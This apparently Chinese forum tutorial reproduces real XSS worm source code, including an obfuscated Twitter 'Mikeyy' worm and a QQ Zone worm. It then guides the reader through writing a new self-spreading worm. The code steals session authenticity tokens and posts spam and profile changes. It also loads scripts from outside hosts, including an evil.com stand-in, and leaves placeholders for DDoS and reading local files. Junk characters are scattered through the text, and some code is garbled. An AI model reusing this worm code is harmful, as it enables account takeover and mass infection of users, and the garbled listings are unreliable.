) ~4 `- T3 ^0 |5 g& j' B/ w2 v* d第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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8 x' Q) c; B4 y1 a J$ w% }
" d3 e6 Z, v7 A/ K6 m 3. function XHConn(){ 2 r) \' o- ^/ K6 ]
9 n! L) \0 M( k+ b6 \& Q9 v: h 4. var _0x6687x2,_0x6687x3=false;
Q# q* I. F, }9 f3 O: W/ }
; o3 {' N) N; {. f1 E& q& j3 o 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 1 ~* J/ v- O. X' }- W
9 U+ f0 A* G) U 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } , Y1 m" Y$ U- M3 p
' V( G, U2 |) T' K+ p& U
7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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8. catch(e) { _0x6687x2=false; }; }; }; + c7 _) A0 s. R/ q
复制代码第六版: 1. function wait() {
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2. var content = document.documentElement.innerHTML; . ?7 @) Y- t3 l$ ~' W& j U
% \2 O- e4 Z# u1 I5 O7 C 3. var tmp_cookie=document.cookie; l. `2 E; V8 W. A. z
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4. var tmp_posted=tmp_cookie.match(/posted/); , z B% R: a$ j( K
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); p* ` h7 V, x9 A
" {8 N! U& {4 S# G8 M& ~ 6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array(); 7 L$ g, m' o7 l6 c) A0 e
7 k0 t$ K `7 _+ |- b 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; % D9 q3 I" c% Y/ N% _' X* I2 \0 s
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; + @! d. P$ |, w. c# ~+ c1 J( \3 ]2 f
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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6 t1 i+ S6 Y( e( L6 W: e* i 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; . ^+ |" a: r$ M
8 ~- V* U+ C( f/ }5 X$ \ G9 P 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; 1 Z$ Y- o3 \4 @; B' k$ Q
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; . ^- R/ c A5 V: @7 F2 N( i5 ^$ q
% T" k3 D/ Q7 a5 K5 d- H 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; & W4 U9 j9 M: Y# b" p7 h+ \6 q
9 \8 j7 p7 n- J* ?3 n 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; C- i8 R1 ?( g* U) ?; m
( o, l3 T3 }1 {$ p4 s 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; ' i( V8 O; C: T* s3 d2 E1 Q6 [( T
+ D/ H+ _* w) p4 h/ g 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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' \! ? P; G8 F" Q: ? 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; % E1 R1 \3 U6 R& F- U
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; . [* D2 Q% W" ^8 h0 g; A- Q" Q
: H `) q! f+ k5 D, O" M# e 24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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2 C$ @% a5 s& z7 d2 Q 26. var updateEncode=urlencode(randomUpdate[genRand]); 0 x' o9 G( l/ }7 C' }
; U. R6 u$ A% I8 F" M9 d4 Q5 q 27.
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28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 2 { n; `0 K. Y0 I% b
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30. var _0xf81bx1c="Mikeyy";
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31. var updateEncode=urlencode(_0xf81bx1c);
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2 a! i4 B% ~; l 32. var ajaxConn1= new XHConn();
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# I0 t* g; S. s' L 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); " p" m Z* a# T! ~8 a b
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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" Q! l- R7 U2 {) t 35. var XSS=urlencode(genXSS);
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/ q( j. g$ V4 x3 R; [ i# f% I 36. var ajaxConn2= new XHConn(); 2 Q( z S; f4 S* q- m
( }. Y2 r; R$ v2 @3 N' F 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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5 [, Y$ Q. s: r7 j6 {: x8 F6 C0 e 38. 8 H& x& K& W. \* [% Y: }
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39. } ; 7 C- u2 I1 G/ S6 A* D/ ^ W3 q
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40. setTimeout(wait(),5250); ) V% K5 ?6 g0 ?, h O: \- U- j
复制代码QQ空间XSSfunction killErrors() {return true;}# j+ h4 E7 n3 v/ `& P
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window.onerror=killErrors;
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var shendu;shendu=4;* @8 I, S; [6 ^; s
" Z9 e0 V" E% }3 U//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?0 o# v' {* r: X5 p, E8 R; D7 U
8 Y* Y8 U$ A' F8 ?var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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9 p- N0 P$ O: hvar myblogurl=new Array();var myblogid=new Array();% k/ C( j2 f' U& g
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var gurl=document.location.href; G1 K9 G' j5 z6 N
1 e" T% c: `) j. {
var gurle=gurl.indexOf("com/");
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8 L3 R. B5 z8 C( n F/ ` gurl=gurl.substring(0,gurle+3);
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# o% A( A. T1 w var visitorID=top.document.documentElement.outerHTML;
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var cookieS=visitorID.indexOf("g_iLoginUin = ");' ~0 {" X( Z5 A, [- m
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visitorID=visitorID.substring(cookieS+14);
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0 a2 L/ x5 X, |, @9 j# i/ ~! r# F& K cookieS=visitorID.indexOf(",");- O* f' T- C$ ], L- b8 x
$ x0 i! Q7 N6 H6 F visitorID=visitorID.substring(0,cookieS);
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( w+ C, {* g5 v, C7 b get_my_blog(visitorID);$ x. t! L% `6 ]: y! _) b' ~
& @2 R2 e7 g& q/ x! _8 I DOshuamy();
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! n8 K0 d$ k8 i2 Q6 E. a//挂马
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function DOshuamy(){
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, p, s3 L4 K5 |$ X5 S7 O0 ?var ssr=document.getElementById("veryTitle");$ S F0 r! ~1 Y7 ?6 B/ ]/ N
+ U9 R( \3 f; m0 a% ?+ Xssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");8 v5 R$ J' r7 Z/ N
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?1 d1 b3 P9 b w
" i+ z' r7 O7 u7 q' V% t. e3 q Hfunction get_my_blog(visitorID){
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) m6 _8 ^7 u/ i9 m2 ]- w userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";1 P' o6 u4 |: V5 J5 m
1 {) R5 W6 b; G5 z% E3 n# _ xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的
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0 |8 N/ M" q& K5 p+ } xhr.open("GET",userurl,false); //以GET方式打开定义的URL- I5 l7 N" I2 n- D' C
; a ?; Y0 j9 P) M" Z xhr.send();guest=xhr.responseText;
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get_my_blogurl(guest); //执行这个函数. {1 N$ L. H3 N k: p/ a# P
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}+ i+ I! r5 E7 |. z, T) _, u
0 L' N+ V5 T9 G J, v}
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//这里似乎是判断没有登录的
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function get_my_blogurl(guest){& O# r- ~6 `- Q3 e8 S
0 r: T0 w' W# E6 e) ^7 S* x7 w7 B, G& p var mybloglist=guest;
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var myurls;var blogids;var blogide;* f$ d/ \3 B( @6 y$ n
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for(i=0;i<shendu;i++){3 X- j5 o2 Q |7 D+ j$ G, L
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了4 k# [0 w. N" V4 L- X! N i# @
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if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);
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myurls=mybloglist.indexOf(')');+ t6 A" N( S; T/ H! P4 o
% J& F) K5 o+ y' T/ w+ O myblogid=mybloglist.substring(0,myurls);( z" \/ F8 o2 @1 J9 o
/ _4 a$ K' ~6 s+ V6 w; D# ] }else{break;}! G1 w1 b: V' w' p1 Z) B
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9 ]2 M8 p0 c4 T( T* a r* ^) Nget_my_testself(); //执行这个函数4 B' T5 k% W" U7 u; Z% y; s4 ~0 C$ X
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}
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//这里往哪跳就不知道了
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/ ~, l4 T& \: B( dfunction get_my_testself(){
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for(i=0;i<myblogid.length;i++){ //获得blogid的值% l8 r2 y$ C) s3 O" H! X( o0 P1 Y
) S* E) m2 y1 |- s5 n var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();* B. {% @+ U3 S0 ?: U& L' ~" V
+ y0 w3 B3 e% z9 S6 v
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
: s \ M2 ?; }1 w/ Y3 G7 I+ R* Z" B; H) t2 \
if(xhr2){ //如果成功
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xhr2.open("GET",url,false); //打开上面的那个url6 z: Q1 p4 u5 G5 k5 n
9 [' E# T7 U* I, q
xhr2.send();
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1 A1 `# u) n/ h8 P6 |2 c2 m guest2=xhr2.responseText;
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var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
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9 C b# x0 b! U/ E6 H2 q var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串) ]9 M: B2 w: m& D: Z; y, Y. g
( g) s* s/ p, t3 Q+ z; q! d
if(mycheckmydoit!="-1"){ //返回-1则代表没找到% w# T3 p% k# k: d: N
" j0 |( K* [2 d targetblogurlid=myblogid;
# P# V0 J8 F/ z: x9 K7 t% J; {! {0 e" C) b
2 h) {5 x- l1 Q7 C& k) l1 T add_jsdel(visitorID,targetblogurlid,gurl); //执行它
: v4 K" V: H6 [. r! q* i& r' o
* C/ O3 B7 B# I% j1 I/ Z- e4 G. A% u% c break;
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}
, ^6 s+ |' |- P) p. N) R5 X8 H
0 a6 J1 d: W* V4 x( V if(mycheckit=="-1"){
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targetblogurlid=myblogid;- F& u& k* j; W2 |
2 D* h3 [! O5 `3 R add_js(visitorID,targetblogurlid,gurl); //执行它$ d7 g& Q6 {& h7 C. P
+ ~' q( A" w* q; U break;; c& }: B0 ^: G+ p R
k5 L; ~$ v9 L* f3 | }& }' M# K0 q1 R- `
9 b) R; N* A+ `/ E } " V E, {9 S$ Q, ?7 [( I& ]: v
' ]5 O8 V( K1 j" Y0 d- Y}: K, G2 ]( B* r7 K, D5 D i7 R
: G3 M8 M, G5 A
}
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1 F2 P6 Q/ `9 X5 g! X
//--------------------------------------
" C( n3 T; _: D! w' i
+ z2 I" V) a% a0 ?- a//根据浏览器创建一个XMLHttpRequest对象6 I/ L) u5 d( O0 W- A
8 z4 a# M4 X2 j7 b5 {function createXMLHttpRequest(){6 I. P% g1 F( l7 M# z7 Y z8 d
5 K- `/ _: Y1 l! y" k8 _/ G) i
var XMLhttpObject=null; ( s- `1 S E. x% b0 f% h
# p1 ~. {, O$ R, E if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} 3 Z' p* N7 m, F8 {( y- c
- ~& p# ]5 a& g7 q) ]# h C* W else ) s+ D7 P+ |& w6 M! p- k& @
5 t6 P/ |! t- ]4 u# S0 d4 }4 i3 u { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
2 ], s; n5 Q. g- X. V) J
( O4 a, @8 B2 @1 [* W3 J for(var i=0;i<MSXML.length;i++)
Q7 w5 z# ~& V# o5 i9 i
5 O+ S/ V( F0 x- d- X! Q7 `2 Y: h1 b: B {
& R' q+ p- q$ p- O9 A5 P- V l9 u% F4 p4 I/ o4 ~0 m
try
& R0 z! E) c1 X8 D5 _) }/ m1 U. N6 g* `- u& x& m h' x, }
{ 0 `1 K/ \* D/ s) k
% r% Z S2 z; E7 D0 G+ ~% G
XMLhttpObject=new ActiveXObject(MSXML);
/ r0 J! L0 Z: B: H `
/ a" P8 _3 L5 P! P break;
$ d# S; v/ n% [# L. l% l0 I. W. y5 {6 E
}
) K3 B' O( |- ~0 E4 t3 l/ }# N& ?' f$ ^# R9 A2 s
catch (ex) {
; Z Z" q4 T2 Q- M# I" Q! O9 `
} % a( @- R/ h1 n* \9 C0 k
1 j9 j! R+ j1 w4 `& y0 H% p
} 3 H2 U" @2 k* k! b$ b
4 a" i. H6 c0 I( C: N }
3 m) a$ L3 g4 J- C4 w1 h
9 q% c9 ~4 _ y3 k. creturn XMLhttpObject;
% K: z6 s# G+ ~5 o$ Y3 g5 W
4 C7 C9 w( s6 i/ t}
+ S& e) }) W- E+ M' g. T8 {
& ] \. c% {' ~& D
6 A7 D! B, }% e: o% _6 \7 i" y- d
//这里就是感染部分了/ G" t7 `* F5 q7 W; I, D9 `
# w3 X4 a6 [1 J0 u3 M
function add_js(visitorID,targetblogurlid,gurl){7 G4 F! X8 O* Z- Y+ _
6 c2 O6 F: P; ?3 g) Tvar s2=document.createElement('script');8 D0 a2 s. `6 H8 K2 w/ C K
% ~3 W+ a; ]2 A. m8 as2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
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s2.type='text/javascript';/ J% D' j/ j7 f
9 o1 U% q% y) `! `8 p
document.getElementsByTagName('head').item(0).appendChild(s2);
5 Z f" X( P) h; ]; Z/ r) J* k' r; D7 D
}
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5 {- G2 k8 R! c, }3 @3 x: l4 G8 x
8 t6 B. ]9 |3 e* |* U# x1 m w4 g, I( [* h6 \3 n2 i
function add_jsdel(visitorID,targetblogurlid,gurl){4 s5 v) k; Y7 D
# e- W/ ^4 @( {var s2=document.createElement('script');" a6 ^8 s* q3 G4 \0 L
$ Q' \' W5 @3 M/ Qs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
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s2.type='text/javascript';. C7 X/ ]6 w& [$ i" a
7 Z) X& N& A$ Vdocument.getElementsByTagName('head').item(0).appendChild(s2);
5 ]% `6 L W& J
6 K: y$ D; U" S$ G5 o# T}& K4 G! O5 C4 B
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
& l$ ?, a! A3 P% B7 W+ t& y1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.): O" g/ q4 D* J# n+ c
, y" A5 h4 Q9 T( o4 R0 @9 R+ Y2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
0 W; W+ e( L Z+ o2 k. ?8 m( o( {% _
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
4 K9 s) {4 Z+ X. J* k! }2 q( _3 P+ V4 ] M. f
# @% ^$ A8 U* O% L' \9 d: O# h3 h. [( l
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.# u! E4 M- [9 O
, P: X! k4 {5 \' z6 c
首先,自然是判断不同浏览器,创建不同的对象var request = false;/ ^6 C5 ^3 r/ l/ B4 T2 w- Q& Q$ q
$ c- k n- [% I& Iif(window.XMLHttpRequest) {
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request = new XMLHttpRequest();! K: \% k) T2 N% f, `
3 j. u' G6 q! u* |5 f9 f8 O
if(request.overrideMimeType) {( S5 A) J" k: a$ Y
5 `% G& g8 ~# M$ l' {& r Hrequest.overrideMimeType('text/xml');+ Q/ i D( m' c
5 b/ D( w; |3 i/ h}7 p. i. l# I. M2 e8 c$ f
* v a, X) W/ c0 i} else if(window.ActiveXObject) {
/ ~1 K1 I3 S! [ F' L' P8 i J8 J& b" B6 Z
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];; ~( \( t+ D, ?
- x8 b- w6 G7 U) d. |! ffor(var i=0; i<versions.length; i++) {5 c* {3 [* V' Y& T, D
* K0 |0 Z- o: x& e0 Ntry {* d$ ~7 i: o$ G8 M" m- A3 s) [, s9 ^
1 d, Q$ V3 f9 N+ |+ erequest = new ActiveXObject(versions);, a$ k( g2 O# A% X5 ]
1 x) T9 p: ]0 `5 ^: x* N} catch(e) {}
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}
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5 V" H# r. W& t1 V5 e- x% r}
$ G2 V: j8 q# P9 ~0 Z. U k) T% @5 Z
: w4 r- S! z' |) \" JxmlHttpReq=request;
1 R3 w! G- Z6 l8 u4 u% S: a复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){, G2 |8 i% o9 ^ ?2 m
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var Browser_Name=navigator.appName;$ Y/ x0 w, y- i. d: E
/ I6 J4 {0 i2 m
var Browser_Version=parseFloat(navigator.appVersion);
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% s, ?- h5 l! H8 |) { var Browser_Agent=navigator.userAgent;6 W ~1 ^3 ^" c7 p
$ U2 `; k: r! t7 m
0 s ~) A6 y& f- W! G @
: I+ x9 f$ k& d% X, O# D var Actual_Version,Actual_Name;
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7 M- s3 f0 ?0 S
' |7 U6 A& y6 N2 \1 D var is_IE=(Browser_Name=="Microsoft Internet Explorer");
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) |) ~. l o( X l6 ` var is_NN=(Browser_Name=="Netscape");
. N( I+ X; N [9 Q# ]
- O- x# ~" O; X4 V; c/ t( b4 { var is_Ch=(Browser_Name=="Chrome");
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& a! ~9 A& X" Q$ r0 [. A# ` 2 T) a' r. T% E6 b+ [- o6 D2 z
$ d0 T( }* r: A" @& }( H6 k
if(is_NN){
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if(Browser_Version>=5.0){
% R1 k8 T0 c* q. u$ |2 k0 I, T8 ~2 `3 y" c( x3 w
var Split_Sign=Browser_Agent.lastIndexOf("/");# i, m3 B- @" \" U. W0 Z
9 i* a6 U$ {9 G' {
var Version=Browser_Agent.indexOf(" ",Split_Sign);
+ {4 @( A! `( l! G2 B' Q8 b) T1 o7 P& l- q7 z, K3 H
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
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% R1 }/ X1 O, W5 C" f6 }
8 }6 D' ^) F( V7 g/ V
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
* s; R) H- U; \4 r
8 S5 u; w! o8 |( A Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
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6 w' P& k, y3 e( b9 o
else{& o# O+ J4 r4 j! n8 `
8 X: C4 t d+ U W Actual_Version=Browser_Version;
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Actual_Name=Browser_Name;( ^5 s. A) V8 |$ y0 W
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$ c* G9 R; G3 R0 T5 D* ` }
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else if(is_IE){
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. Y! V) N1 f4 @" o% S" o, [ var Version_Start=Browser_Agent.indexOf("MSIE");
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) H e5 n0 }! y$ O var Version_End=Browser_Agent.indexOf(";",Version_Start);, z# K/ o7 H, O0 x( N- m- }
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Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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Actual_Name=Browser_Name;
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" i; d0 Q+ ]9 v
if(Browser_Agent.indexOf("Maxthon")!=-1){8 G+ ?7 b& M& S1 ]& r$ u
1 A3 h0 Q8 l0 `7 p2 D# V Actual_Name+="(Maxthon)";
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}
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else if(Browser_Agent.indexOf("Opera")!=-1){$ q& M3 x- Z7 L& b5 ]" u
* \* x: A& E: S( t0 h2 y Actual_Name="Opera";
7 R8 h, D) e/ u, k0 |* B
+ s5 `" [2 k3 I, Y1 D% N1 M' @0 k var tempstart=Browser_Agent.indexOf("Opera");8 |8 B: f2 y4 [5 K
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var tempend=Browser_Agent.length;
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Actual_Version=Browser_Agent.substring(tempstart+6,tempend)& h: d1 c5 Q: r2 [* W
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}, G" x( e5 n. p8 y
9 I5 @: `% |6 `8 j8 G9 Y' o8 k, Q }: ~/ v! C( a% {. K K6 l
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else if(is_Ch){" [* h" W) I, o6 c: [
( ^8 W! _7 L# R% H8 q
var Version_Start=Browser_Agent.indexOf("Chrome");
6 z2 }. ]& U* X r }+ e1 \ t& A
var Version_End=Browser_Agent.indexOf(";",Version_Start);, p6 A- B% Q; i- e+ b
2 W: K7 D" ?9 c Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
& E% X* M; t9 H# Z- P2 ?
/ l8 y/ T5 p- Z% Q Actual_Name=Browser_Name;
, `( }' ~! W" p% y
6 f" ]- k1 R$ O7 D5 n5 B
H& p4 I& ]! x4 G1 i, k
& J3 ~% L, ?. J9 L if(Browser_Agent.indexOf("Maxthon")!=-1){) J9 ^$ p6 n! o8 }# r
% ~% \$ S! B4 [/ Q' y. c Actual_Name+="(Maxthon)";
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m, M1 u. t; w* ^- d# s }
$ _. c' i1 j% C% {0 V& {* |4 v2 c/ f2 U( I3 m7 i
else if(Browser_Agent.indexOf("Opera")!=-1){* S M; @5 v# b& X" P# m- [/ D& {
: z. O' R( B. Y3 U Actual_Name="Opera";
% M$ E) ~( Y0 `$ U+ R- }
* q. {& w, f5 ]/ `' v3 @8 | var tempstart=Browser_Agent.indexOf("Opera");1 Y6 `" q0 U) Q! g/ @) B" A) B8 {
+ Q# x( X) _0 `* b4 } var tempend=Browser_Agent.length;
+ v2 \! |" A# [# J1 c4 y' V g- H8 m5 n
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
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}% J+ b: S( ^1 ]- P
& C4 X2 w$ }5 n$ y( \
else{- v. A7 k# N& O0 A' o/ ?1 z4 f
$ p& t* D6 d; {6 v# _+ l Actual_Name="Unknown Navigator"- R, b- ^9 O @0 O- P
0 h- e& F7 v" c; l Actual_Version="Unknown Version"3 R: q6 B' ^: E2 u
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9 ^/ T& n- V# C% g+ C' k% r2 w5 S; u% \9 p/ l9 r
navigator.Actual_Name=Actual_Name;1 G$ M$ F7 \+ ^9 I- L4 z2 K0 i: F
) n. }( ~; A' ]4 ^ navigator.Actual_Version=Actual_Version;( y0 N/ Q6 K& N- W- H/ g( P; @
8 m9 a* X1 A$ Y) z6 G( L$ P
7 ], b; m& u7 R1 }/ S, i
/ @5 ^6 J- K% l, R3 q- y9 ]" | this.Name=Actual_Name;
9 }6 b2 g: y9 ^* r4 a+ _3 t1 I' [
this.Version=Actual_Version;, j3 W6 ]; M. c s5 D
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- m4 p/ u& n! g. X4 I
browserinfo();
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if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}# D) \: ?- { g; q5 M( c. A; P8 Y
1 f$ o4 X( F+ r, s if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
5 r* d% d f& q- N6 W! Z
m5 v8 f# J; q/ n" A9 {* `& j9 y if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
+ u T- a9 H2 O' U8 c# g7 ^% k
+ L' _3 i$ N! l9 S W @/ n5 P& z+ ] if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
/ D, O7 m% x' k% x& Y. M8 S复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码 U: o& l6 X. ]. D/ J
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
- V4 L; G: P, B$ C& u# t复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
4 M4 h9 {4 i& Q. l; o6 Z5 l
2 N5 I9 I* q7 S# u$ k' ~xmlHttpReq.send(null);7 D$ Z0 R$ h' o2 V
4 K1 a5 n" t/ Cvar resource = xmlHttpReq.responseText;
# o. q# [- }& Y, q. O! d. A+ n1 A- S
var id=0;var result;! v/ M. ?9 J; X1 I0 P) H
+ `- N$ Q! i6 w" l1 m& i; ^+ I. d7 lvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.) [5 {% K4 B2 ]1 Y
$ S! z, i3 b, g* b4 i9 y' {, S; fwhile ((result = patt.exec(resource)) != null) {
4 b& N: x7 ~* @
4 |- ?! u0 j; V$ H; j) J) Z' A. Qid++; c7 ~7 o% t/ y- r# J2 T1 q
# k+ t5 H6 {" t}
! n ~; {: B2 D' F复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.$ n1 Z2 S' L% J
: y3 S& B; R! i- [: k
no=resource.search(/my name is/);
% X/ q. |5 O) V1 r! L0 y1 l. V, ~' K. a) j! o. X
var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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" I0 G1 U$ |9 T! ?& i6 e7 Dvar post="wd="+wd;. A: z2 N. a6 F6 b8 R, |. D' o
8 r) L$ h7 u' t* {# ixmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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7 y, P* Y1 ]9 H- txmlHttpReq.setRequestHeader("content-length",post.length); 3 n8 t- M6 W5 ~( V: a5 ]
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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, D5 D& o" e( y* j/ m) txmlHttpReq.send(post);
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{' Y9 O7 _, M1 G1 F6 A- v; I
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方: M: S6 Q9 z! L0 {9 ~
9 g1 D# y |# S& Svar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.4 h& U: H- P0 x, @" [1 G
6 L' `5 z4 |# I5 J& pvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;
